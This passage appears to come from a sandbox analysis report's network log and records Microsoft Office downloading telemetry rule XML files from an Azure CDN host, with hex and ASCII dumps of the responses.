20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-07 18:32:09 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-07 18:32:09 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:10 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 18:32:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:10 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 2a69d0a5-301e-000c-194f-2f323f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T183210Z-15869dbbcc6rzfwxhC1DFWrkb000000003r0000000009p9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 18:32:10 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:10 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 18:32:10 UTC	517	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:10 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 7513f58e-b01e-005c-2901-2d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T183210Z-16547b76f7f7jnp2hC1DFWfc3000000008hg00000000fqxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 18:32:10 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:10 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 18:32:10 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:10 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: d78ce712-d01e-007a-194f-2ef38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T183210Z-15869dbbcc6lxrkghC1DFWqpdc00000000pg00000000xm6x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 18:32:10 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:10 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 18:32:10 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:10 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 2b224279-e01e-001f-7555-2e1633000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T183210Z-17df447cdb5rrj6shC1DFW6qg400000004hg00000000nv0z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 18:32:10 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Timestamp	Bytes transferred	Direction	Data
2024-11-07 18:32:10 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-07 18:32:10 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 07 Nov 2024 18:32:10 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a31f2de1-f01e-0096-7209-2d10ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241107T183210Z-16547b76f7fm7xw6hC1DFW5px400000008c000000000q79b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-07 18:32:10 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN